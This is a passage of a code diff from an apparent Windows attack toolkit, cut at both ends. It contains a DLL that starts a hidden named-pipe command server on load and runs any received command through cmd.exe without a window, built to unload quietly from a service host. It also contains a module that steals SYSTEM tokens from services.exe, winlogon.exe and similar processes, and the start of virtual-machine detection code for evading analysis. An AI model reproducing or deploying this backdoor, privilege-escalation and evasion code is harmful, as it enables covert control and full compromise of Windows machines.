int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
|
||||||
|
|
||||||
|
if (need <= 0)
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
std::string out(need, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring Widen(const std::string& s)
|
||||||
|
{
|
||||||
|
if (s.empty())
|
||||||
|
return std::wstring();
|
||||||
|
|
||||||
|
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
|
||||||
|
|
||||||
|
if (need <= 0)
|
||||||
|
return std::wstring();
|
||||||
|
|
||||||
|
std::wstring out(need, L'\0');
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring CmdExe()
|
||||||
|
{
|
||||||
|
wchar_t sys[MAX_PATH]{};
|
||||||
|
|
||||||
|
if (GetSystemDirectoryW(sys, _countof(sys)) == 0)
|
||||||
|
return L"C:\\Windows\\System32\\cmd.exe";
|
||||||
|
|
||||||
|
return std::wstring(sys) + L"\\cmd.exe";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Runs a command line through cmd.exe and captures stdout+stderr.
|
||||||
|
static bool RunCapture(const std::wstring& commandLine, std::wstring& output)
|
||||||
|
{
|
||||||
|
output.clear();
|
||||||
|
|
||||||
|
SECURITY_ATTRIBUTES sa{};
|
||||||
|
sa.nLength = sizeof(sa);
|
||||||
|
sa.bInheritHandle = TRUE;
|
||||||
|
|
||||||
|
HANDLE readEnd = nullptr;
|
||||||
|
HANDLE writeEnd = nullptr;
|
||||||
|
|
||||||
|
if (!CreatePipe(&readEnd, &writeEnd, &sa, 0))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0);
|
||||||
|
|
||||||
|
STARTUPINFOW si{};
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
si.dwFlags = STARTF_USESTDHANDLES;
|
||||||
|
si.hStdOutput = writeEnd;
|
||||||
|
si.hStdError = writeEnd;
|
||||||
|
si.hStdInput = nullptr;
|
||||||
|
|
||||||
|
PROCESS_INFORMATION pi{};
|
||||||
|
|
||||||
|
std::wstring full = L"\"" + CmdExe() + L"\" /C " + commandLine;
|
||||||
|
std::vector<wchar_t> mutableCmd(full.begin(), full.end());
|
||||||
|
mutableCmd.push_back(L'\0');
|
||||||
|
|
||||||
|
BOOL ok = CreateProcessW(
|
||||||
|
nullptr,
|
||||||
|
mutableCmd.data(),
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
TRUE,
|
||||||
|
CREATE_NO_WINDOW,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
&si,
|
||||||
|
&pi);
|
||||||
|
|
||||||
|
CloseHandle(writeEnd);
|
||||||
|
|
||||||
|
if (!ok)
|
||||||
|
{
|
||||||
|
CloseHandle(readEnd);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string bytes;
|
||||||
|
char buf[4096]{};
|
||||||
|
DWORD read = 0;
|
||||||
|
|
||||||
|
while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0)
|
||||||
|
bytes.append(buf, read);
|
||||||
|
|
||||||
|
WaitForSingleObject(pi.hProcess, 30000);
|
||||||
|
|
||||||
|
CloseHandle(readEnd);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
|
||||||
|
output = Widen(bytes);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ServeConnection(HANDLE pipe)
|
||||||
|
{
|
||||||
|
std::string request;
|
||||||
|
char ch = 0;
|
||||||
|
DWORD read = 0;
|
||||||
|
|
||||||
|
while (ReadFile(pipe, &ch, 1, &read, nullptr) && read == 1)
|
||||||
|
{
|
||||||
|
if (ch == '\n')
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (request.size() > 32 * 1024)
|
||||||
|
break;
|
||||||
|
|
||||||
|
request.push_back(ch);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring line = Widen(request);
|
||||||
|
|
||||||
|
while (!line.empty() && (line.back() == L'\r'))
|
||||||
|
line.pop_back();
|
||||||
|
|
||||||
|
std::string response;
|
||||||
|
|
||||||
|
auto reply = [&](const std::string& status, const std::wstring& body)
|
||||||
|
{
|
||||||
|
response = status + "\n" + Narrow(body) + kEnd + "\n";
|
||||||
|
};
|
||||||
|
|
||||||
|
std::wstring command;
|
||||||
|
size_t sp = line.find(L' ');
|
||||||
|
|
||||||
|
if (sp == std::wstring::npos)
|
||||||
|
{
|
||||||
|
command = line;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
command = line.substr(0, sp);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring rest = (sp == std::wstring::npos) ? std::wstring() : line.substr(sp + 1);
|
||||||
|
|
||||||
|
if (_wcsicmp(command.c_str(), L"PING") == 0)
|
||||||
|
{
|
||||||
|
reply("OK", L"PONG");
|
||||||
|
}
|
||||||
|
else if (_wcsicmp(command.c_str(), L"WHOAMI") == 0)
|
||||||
|
{
|
||||||
|
wchar_t user[256]{};
|
||||||
|
DWORD len = _countof(user);
|
||||||
|
|
||||||
|
std::wstring who = L"?";
|
||||||
|
wchar_t name[256]{};
|
||||||
|
DWORD nameLen = _countof(name);
|
||||||
|
|
||||||
|
if (GetUserNameW(user, &len))
|
||||||
|
who = user;
|
||||||
|
|
||||||
|
if (GetComputerNameW(name, &nameLen))
|
||||||
|
who = std::wstring(name) + L"\\" + who;
|
||||||
|
|
||||||
|
wchar_t self[MAX_PATH]{};
|
||||||
|
GetModuleFileNameW(nullptr, self, _countof(self));
|
||||||
|
|
||||||
|
reply("OK", who + L" pid=" + std::to_wstring(GetCurrentProcessId()) +
|
||||||
|
L" image=" + self);
|
||||||
|
}
|
||||||
|
else if (_wcsicmp(command.c_str(), L"RUN") == 0)
|
||||||
|
{
|
||||||
|
if (rest.empty())
|
||||||
|
{
|
||||||
|
reply("ERR", L"ERR_USAGE RUN <command line>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
std::wstring output;
|
||||||
|
|
||||||
|
if (RunCapture(rest, output))
|
||||||
|
reply("OK", output);
|
||||||
|
else
|
||||||
|
reply("ERR", L"exec failed");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (_wcsicmp(command.c_str(), L"STOP") == 0)
|
||||||
|
{
|
||||||
|
reply("OK", L"stopping");
|
||||||
|
|
||||||
|
DWORD written = 0;
|
||||||
|
WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
|
||||||
|
FlushFileBuffers(pipe);
|
||||||
|
DisconnectNamedPipe(pipe);
|
||||||
|
CloseHandle(pipe);
|
||||||
|
|
||||||
|
// Unload cleanly instead of killing the host: a service host that dies
|
||||||
|
// takes unrelated services with it and makes noise in the event log.
|
||||||
|
if (g_mutex)
|
||||||
|
{
|
||||||
|
CloseHandle(g_mutex);
|
||||||
|
g_mutex = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
FreeLibraryAndExitThread(g_module, 0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
reply("ERR", L"ERR_UNKNOWN " + command);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD written = 0;
|
||||||
|
WriteFile(pipe, response.data(), (DWORD)response.size(), &written, nullptr);
|
||||||
|
FlushFileBuffers(pipe);
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD WINAPI StageThread(void*)
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
HANDLE pipe = CreateNamedPipeW(
|
||||||
|
kPipeName,
|
||||||
|
PIPE_ACCESS_DUPLEX,
|
||||||
|
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
|
||||||
|
PIPE_UNLIMITED_INSTANCES,
|
||||||
|
64 * 1024,
|
||||||
|
64 * 1024,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (pipe == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
Sleep(1000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ConnectNamedPipe(pipe, nullptr) || GetLastError() == ERROR_PIPE_CONNECTED)
|
||||||
|
ServeConnection(pipe);
|
||||||
|
|
||||||
|
DisconnectNamedPipe(pipe);
|
||||||
|
CloseHandle(pipe);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID)
|
||||||
|
{
|
||||||
|
if (reason == DLL_PROCESS_ATTACH)
|
||||||
|
{
|
||||||
|
DisableThreadLibraryCalls(module);
|
||||||
|
g_module = module;
|
||||||
|
|
||||||
|
HANDLE mutex = CreateMutexW(nullptr, TRUE, kMutexName);
|
||||||
|
|
||||||
|
if (mutex && GetLastError() == ERROR_ALREADY_EXISTS)
|
||||||
|
{
|
||||||
|
CloseHandle(mutex);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
g_mutex = mutex;
|
||||||
|
|
||||||
|
HANDLE thread = CreateThread(nullptr, 0, StageThread, nullptr, 0, nullptr);
|
||||||
|
|
||||||
|
if (thread)
|
||||||
|
CloseHandle(thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>17.0</VCProjectVersion>
|
||||||
|
<ProjectGuid>{C1A4E2B0-6F1D-4C21-9E55-2B6B4C1D9A31}</ProjectGuid>
|
||||||
|
<RootNamespace>ArDrvStage</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)'=='Debug'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<ModuleDefinitionFile />
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)'=='Release'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
|
||||||
|
<PropertyGroup>
|
||||||
|
<TargetName>ardrvstage</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="StageDll.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
</Project>
|
||||||
+327
@@ -0,0 +1,327 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "TokenUtils.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
static const DWORD kTokenAccessForDuplicate =
|
||||||
|
TOKEN_QUERY |
|
||||||
|
TOKEN_ASSIGN_PRIMARY |
|
||||||
|
TOKEN_DUPLICATE |
|
||||||
|
TOKEN_ADJUST_DEFAULT |
|
||||||
|
TOKEN_ADJUST_SESSIONID;
|
||||||
|
|
||||||
|
bool EnablePrivilege(const wchar_t* privilegeName)
|
||||||
|
{
|
||||||
|
HANDLE hToken = nullptr;
|
||||||
|
|
||||||
|
if (!OpenProcessToken(
|
||||||
|
GetCurrentProcess(),
|
||||||
|
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
||||||
|
&hToken))
|
||||||
|
{
|
||||||
|
Log(L"[-] OpenProcessToken for privilege failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LUID luid{};
|
||||||
|
if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid))
|
||||||
|
{
|
||||||
|
Log(L"[-] LookupPrivilegeValueW failed for %s: %lu", privilegeName, GetLastError());
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES tp{};
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
tp.Privileges[0].Luid = luid;
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr);
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
|
||||||
|
if (!ok || err == ERROR_NOT_ALL_ASSIGNED)
|
||||||
|
{
|
||||||
|
Log(L"[-] EnablePrivilege failed: %s, last=%lu", privilegeName, err);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool TokenIsLocalSystem(HANDLE token)
|
||||||
|
{
|
||||||
|
if (!token)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
DWORD needed = 0;
|
||||||
|
|
||||||
|
if (!GetTokenInformation(token, TokenUser, nullptr, 0, &needed))
|
||||||
|
{
|
||||||
|
DWORD e = GetLastError();
|
||||||
|
if (e != ERROR_INSUFFICIENT_BUFFER || needed == 0)
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> buf(needed);
|
||||||
|
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
|
||||||
|
|
||||||
|
if (!GetTokenInformation(token, TokenUser, tu, needed, &needed))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
PSID systemSid = nullptr;
|
||||||
|
if (!ConvertStringSidToSidW(L"S-1-5-18", &systemSid))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
bool userIsSystem = (EqualSid(tu->User.Sid, systemSid) == TRUE);
|
||||||
|
|
||||||
|
BOOL member = FALSE;
|
||||||
|
if (!userIsSystem)
|
||||||
|
CheckTokenMembership(token, systemSid, &member);
|
||||||
|
|
||||||
|
FreeSid(systemSid);
|
||||||
|
|
||||||
|
return userIsSystem || member == TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsCurrentProcessSystem()
|
||||||
|
{
|
||||||
|
HANDLE hToken = nullptr;
|
||||||
|
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
bool result = TokenIsLocalSystem(hToken);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
static HANDLE DuplicateTokenExWithFallback(HANDLE src)
|
||||||
|
{
|
||||||
|
HANDLE dup = nullptr;
|
||||||
|
|
||||||
|
if (DuplicateTokenEx(
|
||||||
|
src,
|
||||||
|
kTokenAccessForDuplicate,
|
||||||
|
nullptr,
|
||||||
|
SecurityImpersonation,
|
||||||
|
TokenPrimary,
|
||||||
|
&dup))
|
||||||
|
{
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
|
||||||
|
const DWORD minimalAccess =
|
||||||
|
TOKEN_QUERY |
|
||||||
|
TOKEN_ASSIGN_PRIMARY |
|
||||||
|
TOKEN_DUPLICATE |
|
||||||
|
TOKEN_ADJUST_DEFAULT;
|
||||||
|
|
||||||
|
dup = nullptr;
|
||||||
|
|
||||||
|
if (DuplicateTokenEx(
|
||||||
|
src,
|
||||||
|
minimalAccess,
|
||||||
|
nullptr,
|
||||||
|
SecurityImpersonation,
|
||||||
|
TokenPrimary,
|
||||||
|
&dup))
|
||||||
|
{
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken)
|
||||||
|
{
|
||||||
|
if (!srcToken)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
HANDLE dup = DuplicateTokenExWithFallback(srcToken);
|
||||||
|
if (!dup)
|
||||||
|
{
|
||||||
|
Log(L"[-] DuplicateTokenEx failed: %lu", GetLastError());
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!TokenIsLocalSystem(dup))
|
||||||
|
{
|
||||||
|
Log(L"[-] Duplicated token is not LocalSystem");
|
||||||
|
CloseHandle(dup);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
|
||||||
|
static HANDLE OpenProcessTokenByPid(DWORD pid)
|
||||||
|
{
|
||||||
|
if (pid == 0)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
|
||||||
|
if (!hProc)
|
||||||
|
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
||||||
|
|
||||||
|
if (!hProc)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
HANDLE hToken = nullptr;
|
||||||
|
|
||||||
|
if (!OpenProcessToken(hProc, kTokenAccessForDuplicate, &hToken))
|
||||||
|
{
|
||||||
|
hToken = nullptr;
|
||||||
|
|
||||||
|
if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
|
||||||
|
{
|
||||||
|
Log(L"[-] OpenProcessToken(%lu) failed: %lu", pid, GetLastError());
|
||||||
|
CloseHandle(hProc);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hProc);
|
||||||
|
return hToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
static HANDLE DuplicateTokenFromPid(DWORD pid)
|
||||||
|
{
|
||||||
|
HANDLE hToken = OpenProcessTokenByPid(pid);
|
||||||
|
if (!hToken)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
if (!TokenIsLocalSystem(hToken))
|
||||||
|
{
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE dup = DuplicateSystemTokenFromHandle(hToken);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
|
||||||
|
if (dup)
|
||||||
|
Log(L"[+] Obtained SYSTEM token from PID %lu", pid);
|
||||||
|
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
|
||||||
|
static HANDLE TryDuplicateByNames(const wchar_t* const* names, size_t count)
|
||||||
|
{
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (snap == INVALID_HANDLE_VALUE)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
PROCESSENTRY32W pe{};
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
|
||||||
|
if (!Process32First(snap, &pe))
|
||||||
|
{
|
||||||
|
CloseHandle(snap);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD self = GetCurrentProcessId();
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (pe.th32ProcessID == self || pe.th32ProcessID <= 4)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < count; ++i)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(pe.szExeFile, names[i]) == 0)
|
||||||
|
{
|
||||||
|
HANDLE tok = DuplicateTokenFromPid(pe.th32ProcessID);
|
||||||
|
if (tok)
|
||||||
|
{
|
||||||
|
CloseHandle(snap);
|
||||||
|
return tok;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (Process32Next(snap, &pe));
|
||||||
|
|
||||||
|
CloseHandle(snap);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE GetSystemToken(HANDLE preferredToken)
|
||||||
|
{
|
||||||
|
EnablePrivilege(SE_DEBUG_NAME);
|
||||||
|
|
||||||
|
if (preferredToken)
|
||||||
|
{
|
||||||
|
HANDLE dup = DuplicateSystemTokenFromHandle(preferredToken);
|
||||||
|
if (dup)
|
||||||
|
{
|
||||||
|
Log(L"[+] Using SYSTEM token returned by driver");
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hProcessToken = nullptr;
|
||||||
|
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hProcessToken))
|
||||||
|
{
|
||||||
|
if (TokenIsLocalSystem(hProcessToken))
|
||||||
|
{
|
||||||
|
HANDLE dup = DuplicateSystemTokenFromHandle(hProcessToken);
|
||||||
|
CloseHandle(hProcessToken);
|
||||||
|
|
||||||
|
if (dup)
|
||||||
|
{
|
||||||
|
Log(L"[+] Current process token is LocalSystem");
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Log(L"[-] Current process token is not LocalSystem");
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hProcessToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hThreadToken = nullptr;
|
||||||
|
|
||||||
|
if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE, TRUE, &hThreadToken))
|
||||||
|
{
|
||||||
|
if (TokenIsLocalSystem(hThreadToken))
|
||||||
|
{
|
||||||
|
HANDLE dup = DuplicateSystemTokenFromHandle(hThreadToken);
|
||||||
|
CloseHandle(hThreadToken);
|
||||||
|
|
||||||
|
if (dup)
|
||||||
|
{
|
||||||
|
Log(L"[+] Thread token is LocalSystem");
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Log(L"[-] Thread token is not LocalSystem");
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hThreadToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
static const wchar_t* preferred[] =
|
||||||
|
{
|
||||||
|
L"services.exe",
|
||||||
|
L"winlogon.exe",
|
||||||
|
L"svchost.exe",
|
||||||
|
L"spoolsv.exe",
|
||||||
|
L"csrss.exe"
|
||||||
|
};
|
||||||
|
|
||||||
|
HANDLE tok = TryDuplicateByNames(preferred, _countof(preferred));
|
||||||
|
if (tok)
|
||||||
|
return tok;
|
||||||
|
|
||||||
|
Log(L"[-] Failed to find SYSTEM token");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
bool EnablePrivilege(const wchar_t* privilegeName);
|
||||||
|
bool TokenIsLocalSystem(HANDLE token);
|
||||||
|
bool IsCurrentProcessSystem();
|
||||||
|
HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken);
|
||||||
|
HANDLE GetSystemToken(HANDLE preferredToken = nullptr);
|
||||||
+487
@@ -0,0 +1,487 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "VmDetect.h"
|
||||||
|
|
||||||
|
#include <intrin.h>
|
||||||
|
#include <iphlpapi.h>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
|
|
||||||
|
static std::string ToLowerAscii(const std::string& in)
|
||||||
|
{
|
||||||
|
std::string out = in;
|
||||||
|
|
||||||
|
for (auto& c : out)
|
||||||
|
{
|
||||||
|
if (c >= 'A' && c <= 'Z')
|
||||||
|
c = (char)(c + 32);
|
||||||
|
}
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::string NarrowAscii(const wchar_t* w)
|
||||||
|
{
|
||||||
|
std::string out;
|
||||||
|
|
||||||
|
if (!w)
|
||||||
|
return out;
|
||||||
|
|
||||||
|
for (; *w; ++w)
|
||||||
|
{
|
||||||
|
if (*w < 128)
|
||||||
|
out.push_back((char)*w);
|
||||||
|
}
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool ContainsAny(const std::string& haystackLower, std::initializer_list<const char*> needles)
|
||||||
|
{
|
||||||
|
for (const char* n : needles)
|
||||||
|
{
|
||||||
|
if (haystackLower.find(n) != std::string::npos)
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- CPUID
|
||||||
|
|
||||||
|
struct CpuidResult
|
||||||
|
{
|
||||||
|
bool hypervisorPresent = false;
|
||||||
|
std::string vendor; // raw 12-byte hypervisor vendor
|
||||||
|
std::string brand;
|
||||||
|
};
|
||||||
|
|
||||||
|
static CpuidResult QueryCpuid()
|
||||||
|
{
|
||||||
|
CpuidResult r;
|
||||||
|
|
||||||
|
int regs[4]{};
|
||||||
|
__cpuid(regs, 0);
|
||||||
|
int maxLeaf = regs[0];
|
||||||
|
|
||||||
|
__cpuid(regs, 1);
|
||||||
|
r.hypervisorPresent = (regs[2] & (1 << 31)) != 0;
|
||||||
|
|
||||||
|
if (maxLeaf >= 0x40000000)
|
||||||
|
{
|
||||||
|
int hv[4]{};
|
||||||
|
__cpuid(hv, 0x40000000);
|
||||||
|
|
||||||
|
char vendor[13]{};
|
||||||
|
memcpy(vendor + 0, &hv[1], 4);
|
||||||
|
memcpy(vendor + 4, &hv[2], 4);
|
||||||
|
memcpy(vendor + 8, &hv[3], 4);
|
||||||
|
r.vendor = vendor;
|
||||||
|
|
||||||
|
if (maxLeaf >= 0x40000001)
|
||||||
|
{
|
||||||
|
int b[4]{};
|
||||||
|
__cpuid(b, 0x40000001);
|
||||||
|
|
||||||
|
char brand[13]{};
|
||||||
|
memcpy(brand + 0, &b[0], 4);
|
||||||
|
memcpy(brand + 4, &b[1], 4);
|
||||||
|
memcpy(brand + 8, &b[2], 4);
|
||||||
|
r.brand = brand;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- SMBIOS
|
||||||
|
|
||||||
|
static std::string ReadSmbiosStrings()
|
||||||
|
{
|
||||||
|
std::string collected;
|
||||||
|
|
||||||
|
